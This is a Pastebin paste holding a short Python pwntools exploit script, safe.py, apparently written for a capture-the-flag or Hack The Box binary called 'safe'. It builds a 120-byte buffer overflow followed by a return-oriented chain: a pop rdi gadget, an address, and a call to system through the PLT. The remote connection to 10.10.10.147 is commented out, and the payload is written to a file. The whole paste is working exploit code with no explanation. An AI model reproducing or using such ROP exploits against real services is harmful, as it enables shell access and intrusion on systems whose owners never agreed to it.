Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- GNU nano 4.5 safe.py
- #!/usr/bin/env python
- from struct import *
- from pwn import *
- #r = remote("10.10.10.147", 1337)
- junk = 'A'
- off = 120
- plt_system = p64(0x401040)
- plt_puts = p64(0x401030)
- got_puts = p64(0x404018)
- pop_rdi = p64(0x40120b)
- h = p64(0x400060)
- buf = ""
- buf += "A"*(120-len(buf))
- buf += pop_rdi
- buf += h
- buf += plt_system
- #r.sendline(payload)
- #r.interactive()
- f = open('safe', 'w')
- f.write(buf)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement